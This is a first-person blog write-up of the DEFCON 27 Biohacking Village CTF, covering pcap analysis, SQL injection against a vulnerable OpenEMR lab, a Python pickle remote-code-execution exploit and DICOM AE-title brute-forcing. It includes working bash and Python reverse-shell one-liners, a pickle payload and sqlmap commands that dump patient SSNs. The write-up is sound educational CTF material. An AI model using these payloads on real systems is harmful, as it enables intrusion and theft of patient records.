This is a write-up of some of the challenges at the DEFCON 27 Biohacking Village CTF.
I didn't plan on joining a CTF, but I ended up getting sucked in and spending the next 2 days on it. The instant gratification of ranking on the scoreboard offered a better rush than any Las Vegas casino game. I ended up getting 2nd place, and considering I was completely unprepared, I'm very happy with it.
Despite meddling with the competitive programming world, this was my first CTF. I didn't keep notes in preparation of a write-up, and as such, this is a partial write-up of some of the most memorable challenges I solved. I go in detail on my thought process for solving some of these challenges, including any erroneous routes.
A CTF (Capture The Flag) is a competition, usually hosted at information security conferences. It's a set of challenges of increasing difficulty, across various skills (reverse engineering, crypto, network analysis, etc). Solving an individual challenge, means finding a “flag” 🚩 that's either the result of some computation, or hidden somewhere in a targeted system (software, hardware, hints hidden in the room). You can play alone, or you can form a team.
This post is meant for someone with engineering background, but with little knowledge of infosec or CTF particulars.
If you have some systems engineering background, you should be able to follow along my instructions--I have even made some Docker images for you to attack!
Biohacking Village at DEFCON
The CTF organizers at the Biohacking Village took a lot of time to build a fun theme that was welcoming to challengers of all levels, and the CTF theme was eminent throughout the Biohacking Village room. The imaginary St. Martin's Hospital was under attack in all kinds of ways--and the room was decorated like a hospital, complete with a pharmacy, all kinds of working medical devices, and even a gurney (that was part of a physical/puzzle challenge)! Contestants were kept on their toes for all 20 hours of the CTF, as challenges were unlocked gradually.
Many of the first round challenges required a basic understanding of the underlying protocols, such as BACNET, and DICOM.
Several of the challenges provided you a Wireshark pcap file, and tasked you to identify specific interactions in the network--for example, the client name used during a DICOM authentication attempt, or the pcap index at which an attack first appeared.
Even if you had zero prior knowledge, looking around carefully in Wireshark along with some Google searches was sufficient to lead you to the right answer.
One of these challenges indicated that the flag was hidden in someone's BACNET authentication attempt--the provided pcap was Are_you_my_mother.pcapng. Go get Wireshark (or just
brew cask install wireshark on your Mac) and use
bacnet as a filter---you can try finding the flag too!
Some of the challenges exchanged traffic in non-standard ports--remembering to correctly map a custom port to a known protocol was essential to solving these challenges.
As these challenges were solved, more challenges were unlocked requiring SQL injection and reverse engineering skills.
Data Exfiltration via IoT Lights
My favorite challenge was the "Light Exfil" challenge. The task prompt read:
A malicious actor has gained access to the hospital’s networks. Using the lighting system, the attacker is exfiltrating data by slightly fluctuating the lighting brightness and collecting the data with a phototransistor directed at an external window from the adjacent parking structure. The attached pcap file is a small portion of the stolen data. You have to determine the binary data which was exfiltrated.
Answer the question below to demonstrate an understanding of the attack.
What ASCII data are they trying to exfil through the lights?
This is very similar to some of the airgap-jumping exflitration attacks described by Mordechai Guri.
A Wireshark pcap file was provided for analysis: bacnetlightingxfil.pcap.
Go get Wireshark (or just
brew cask install wireshark on your Mac) and follow along! C'mon!
By opening the pcap file in Wireshark and filtering for
bacnet, I was greeted with 1590 packets:
Identifying the signal
By scrolling around, I noticed a handful of
confirmedPrivateTransfer packets standout among all the read operations.
To filter only for the requests (
Confirmed-REQs, as opposed to
Simple-ACKs), and then consecutively for
confirmedPrivateTransfer I used these filters:
(bacnet) && (bacapp.type == 0) && (bacapp.confirmed_service == 18)
(bacnet) && (bacapp.type == 0) && (bacapp.confirmed_service == 15)
The results were interesting:
confirmed_service == 18) yielded 84 packets
confirmed_service == 15) yielded 32 packets
- 32 happens to represent 4 bytes in binary
- A bit short for a flag, but not impossible, especially if the CTF author intended for this to be solved by hand.
Furthermore, some research into controlling lights via BACNET indicated
writeProperty would be indeed how you'd fluctuate brightness. However, at this point, I wasn't entirely certain
writeProperty was the right path.
I couldn't find a trivial way to export the values from Wireshark, and in trying to plan for a future where I had to decode the
confirmedPrivateTransfer packets, I cooked up a Python script utilizing
pyshark to work with the pcap file.
set_brightness_cap = pyshark.FileCapture('bacnetlightingxfil.pcap',
display_filter='bacnet && (bacapp.confirmed_service == 15) && (bacapp.type == 0)'
vals = [ int(packet.bacapp.present_value_real) for packet in set_brightness_cap ]
90 89 100 99 90 89 100 90 89 90 100 99 90 89 90 89 90 89 100 99 90 89 90 100 90 89 100 99 100 90 89 100
This seems very promising! At first hand, the existence of 4 digits (89, 90, 99, 100) went against my expectations for a binary encoding scheme, so I plotted the values:
Decoding the signal
I lost some time considering alternative encodings, such as ternary encodings, because 4 bytes for a flag seemed too small. 🔑 Keep It Simple Stupid and iterating through your assumptions was key here.
Using multiple brightnesses for each binary digit would make sense. It'd be easier for a photoresistor to detect a change in brightness than to precisely count how many seconds of
100 brightness it saw.
There is some obvious grouping in the values above---using 95 as a threshold, we translate them to binary digits:
encoded_bits = [ 1 if x>95 else 0 for x in vals ]
And then we convert the binary to ASCII with:
n = int('0b%s' % "".join(map(str, encoded_bits)), 2)
res = binascii.unhexlify('%x' % n)
2019 was indeed the flag 🚩, which got me another 200 points 🎉!
OpenEMR (SQL Injection)
Introduction & how to follow along
Another challenge involved reproducing data exfiltration from an OpenEMR instance. The prompt was clear on what the flag was--a patient's social security number. Contestants were given access to a shared OpenEMR installation on the CTF's local network.
To follow along:
A quick aside, for you 💻🐱s: if you want to follow along, you can quickly bring up a vulnerable OpenEMR I made for you at at http://localhost:8666/ via Docker by running:
git clone https://gitlab.com/ianatha/vulnerable-openemr.git && cd vulnerable-openemr && docker-compose up
This isn't the same OpenEMR used at the CTF, but it's sufficiently vulnerable to follow along my methodology here.
The instructions here refer to the vulnerable OpenEMR my Docker image provides at
localhost:8666 so you can follow along.
Looking through the Docker image instructions reveals passwords. The idea is to treat the instantiated Docker container as a black box, accessible only over the network.
Let's learn about a bit about the tooling and the thinking behind taking advantage an SQL injection vulnerability!
Looking for a way in
A quick search revealed that many listed vulnerabilities exist for OpenEMR (and it's written in PHP).
I tried some default usernames and passwords (
pass and the like), but that didn't seem to work. Talking with the CTF designers later on, I learned that were were other defaultish accounts (such as
clinician with default passwords), which could have simplified this task, without resorting to SQL injection.
Next up, it was important to identify the exact version of OpenEMR the CTF environment was using. OpenEMR is open-source, so I cloned their repo, and looked around for interesting files that could disclose a version string.
setup.php stood out.
admin.php indeed disclosed what version of OpenEMR the CTF was running, which helped me find known vulnerabilities.
CVEDetails.com lists many remotely-exploitable no-authentication-needed vulnerabilities.
I spent sometime looking into the pull request that fixed an SQL injection vulnerability in interface/forms/eye_mag/save.php. It seemed feasible, but the execution path to trigger the vulnerability had a variety of variables that needed to be set.
I looked for different SQL injection vulnerabilities, and a CVE of multiple SQL injections and authentication bypasses, CVE-2018-15152, stood out. The portal/add_edit_event_user.php patch seemed particularly interesting, because it wasn't in nested ifs, and little code preceded it---this meant triggering the faulty code-path should be easier.
The vulnerability I'm trying to take advantage is this:careless code in
portal/add_edit_event_user.php injects whatever
eid input I give it into SQL code that's sent to the database, without any escaping. This means that a carefully crafted
eid input can cause the MySQL server to execute code that it thinks is coming from the application.
Let's try to exploit that!
curl -v http://localhost:8666/portal/add_edit_event_user.php redirects us to an authentication page 😟.
< HTTP/1.1 302 Found
< Set-Cookie: PHPSESSID=4a927fc0c27b0c4ecb48f9962deb2d66; path=/
< Location: index.php?site=&w
At this point, I decided to clone OpenEMR at the commit right before they fixed the vulnerability:
git clone https://github.com/openemr/openemr.git && cd openemr && git checkout f5310b22bb14c58063aecb1cad4655e885eba275.
The vulnerable code at line 26 requires for the
pid (I'm guessing patient id) variable to be set in the session, before the rest of the code is executed. To successfully leverage
eid's vulnerability, we need to have a
pid set in the session. Session variables are usually set by server-side code, so...
grep -Ri "_SESSION\['pid'\] =" * in
openemr/portal to see where this
pid gets set:
account/register.php:$_SESSION['pid'] = true;
get_patient_info.php: $_SESSION['pid'] = $auth['pid'];
index.php: $_SESSION['pid'] = true;
account/register.php seems like a very interesting possibility. Let's just try going to
portal/account/register.php, keeping the session cookie, and then going to
curl --cookie-jar gimmepid.cookies -v http://localhost:8666/portal/account/register.php
curl --cookie gimmepid.cookies -v http://localhost:8666/portal/add_edit_event_user.php
Success 👍! The last curl call returned a bunch of HTML, which looks like a user interface for editing an appointment! We've bypassed the minimal authentication check in
Let's make sure that
eid is indeed injectable by injecting some bad SQL:
curl --cookie gimmepid.cookies http://localhost:8666/portal/add_edit_event_user.php\?eid\=\':
ERROR: query failed: SELECT pc_facility, pc_multiple, pc_aid, facility.name
LEFT JOIN facility ON (openemr_postcalendar_events.pc_facility = facility.id)
WHERE pc_eid = '--Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''--' at line 4/var/www/localhost/htdocs/openemr/portal/add_edit_event_user.php at 121:sqlQuery
Sweet! Not only does our input,
eid, make it directly to the MySQL server, but we have a direct view of the error the MySQL server returns. This will make things a lot easier! We now have a legitimate way into the database!
At this point of time, I was trying things manually, using
curl. I eventually discovered sqlmap which is an automatic SQL injection and database takeover tool. It greatly helped with the next stage!
For sqlmap to work, it needs an example request to attempt SQL injections against. The request we generated via
curl above will do, but we need it in a file. There are easier ways to do this, but I just ran
curl -v --cookie gimmepid.cookies http://localhost:8666/portal/add_edit_event_user.php\?eid\=1 2>&1 | grep "^>" and trimmed the
> prefix. The resulting
eidinject.req file looked like this:
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Finding the flag
An invocation of
sqlmap eidinject.req --threads=10 --tables quickly revealed that
eid is easily injectable to a MySQL server, with some very interesting table names. The task was clear that we needed to find a specific patient's social security number, which seems to be stored in the
ss column in
To retrieve it:
sqlmap -r eidinject.req --threads=10 -D openemr -T patient_data --dump. (Try following along with the Docker image---I hid an SSN in the database).
Another interesting challenge involved "MedMonitor", a custom webapp that tracked patient's data from medical devices. It was written in Python with a Microsoft SQL backend, and the source code of the app was shared in the CTF: MedMonitor.py
The challenge was broken into 3 parts--the last part involved reverse engineering a medical device's firmware, I didn't get to it, and it won't be covered here.
Part 1 - SQL Injection without verbose errors
The first task of the challenge directed you to find some data hidden in the webapp's database. It was another SQL injection task, although this time the errors returned by the webapp weren't as detailed, so queries were a bit harder to execute. The key SQL injection point was the New Patient form.
sqlmap seemed to be extracting data character-by-character, and I felt like I didn't have time to go through its documentation. I realized that a way to exflitrate data would be to do
SELECT queries, have their result be a single string, and have that used as the New Patient's name, SSN, etc.
After some scrambling with Microsoft SQL-specific queries, I eventually discovered a table called
flag with something flag-like in it. When I submitted it the system rejected it, and I got extremely anxious. I was very certain that this was the flag, so I alerted the CTF organizers who fixed a configuration error, and asked me to resubmit the flag. 🚩 150 more points!
Part 2 - Remote Code Execution
This part was more interesting than the last one. The flag was somewhere in the filesystem, and the webapp's source code was known. I took a look at the entirety of the shared source code, and noticed that the
import pickle. Unpickling user-supplied values in Python can cause remote code execution, because the the unpickling protocol can encode any Python operation, not just values!
medmonitor.py that just unpickles user-supplied input, without needing to access a Microsoft SQL server is:
(You can follow along by downloading this and running it!)
Our task now becomes to start a reverse shell using that ingress vector.
I had a lot of trouble with this--- although some "bombs" (carefully crafted data to cause the unpickling process to do something to the system) worked locally, when I tried applying to the CTF environment they'd fail. Not having any kind of verbose error output made this very difficult.
My initial goal was to run
bash -i >& /dev/tcp/my_ip_in_the_ctf_network/8888 0>&1 which would cause a
bash session on the MedMonitor server to be forwarded to me.
Using some random blog as a reference I hand crafted a pickle that would execute
os.system("bash -i >& /dev/tcp/my_ip_in_the_ctf_network/8888 0>&1").
This was failing, and I'm assuming it's because the MedMonitor server was running in Docker, or something with a limited
/dev device tree.
Since the webapp is in Python, for a while I tried causing Python to start a remote shell by causing it to execute:
However, I couldn't find a trivial way to
import custom classes in the pickle protocol, so I resorted to causing the pickle to run
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'.
The pickle for that is:
(S'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.218",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
While I was iterating through the pickle bomb, I wrote a quick Python script to submit it:
data = open("bomb.pickle", "r").read()
encoded = base64.b64encode(data)
# r = requests.get("http://192.168.0.4:41847/register_patient", params = PARAMS)
r = requests.get("http://localhost:5001/register_patient", params = PARAMS)
Using the aforementioned picklebomb I was able to start a reverse shell to my machine. A file at
/flag/flag.txt was the obvious place to look for a flag! 🚩 200 more points!
DICOM Authentication Challenge
In this task, you were confronted with an insecurely configured PACS server (Orthanc, in particular), and you were asked to
prove it's vulnerable by finding the Referring Physician's Name for a patient study.
💡Attending other events by the CTF organizers can be useful! In one of the workshops one of CTF organizers held, many DICOM weaknesses were discussed.
At the workshop I learned that DICOM authentication is very weak--it only depends on knowing the server name
(Application Entity Title, or AE Title, or AET) and the client name (Client AE Title).
The task prompt included a pentest report, which included several hints. The first was that the PACS server's uses a predictable AET, and that the server's name is
This made me suspect that the Server AET was a variation of
hippocrates, so I used the git version of ncrack to try out some obvious variations. This was something I learned to do just a day before, by attending a workshop held by one of the CTF organizers, @ithilgore!
Having confirmed that the Server AET is indeed
hippocrates, the next step would be to brute-force the Client AET, and extract the Referring Physician's Name.
The skeleton for this code was worked on during the aforementioed workshop, and it ended up looking like this:
A big portion of making this code work was around making it multi-threaded with timeouts, because in case of a failed authentication
pydicom times out after several seconds, instead of returning immediately with an authentication error.
My strategy was to run my script in iterations, with a limited alphabet---all uppercase, all lowercase, combination of these, and then numbers. This seemed to map the most likely formats of hostnames.
It was a winning strategy, because after a short whole of running with only uppercase, I discovered that an acceptable Client AET was
BRAD. Not a random name... this was the name of the IT person who insecurely configured the PACS server to begin with, and it was mentioned several times in the pentest report 😐.
💡 Reminder for next time: try obvious values, and read between the lines of the CTF artifacts better.
Ultimately, I ranked 2nd, behind a very talented team of four pentesters from a Big Four firm.
The winners won a BladeRF XA4 and eternal bragging rights! Congratulations again!
- Things going for me
- Prior knowledge of BACNET protocol
- Attending a Biohacking Village workshop, and learning a bit about DICOM before the CTF
- Having friends in the room
- Things against me and ways to improve it
- Slow connection to the CTF network
- An Ethernet adapter for my USB-C-only MacBook would've helped
- Slow connection to the Internet
- Hotspot in a setup that allows concurrent access to CTF network and Internet
- Team of one
- Recruit folks ahead of time
- No strategy
- 💡 Withhold flags until key points of time (end of each day, end of the CTF) to induce complacency in other teams
- Getting coffee, or anything to drink took forever
- Bring a six-pack of Red Bull
Thank you to @DC_BHV, @ithilgore, @DaniloNC, @beauwoods, and all the organizers for this year's Biohacking Village, and the awesome CTF!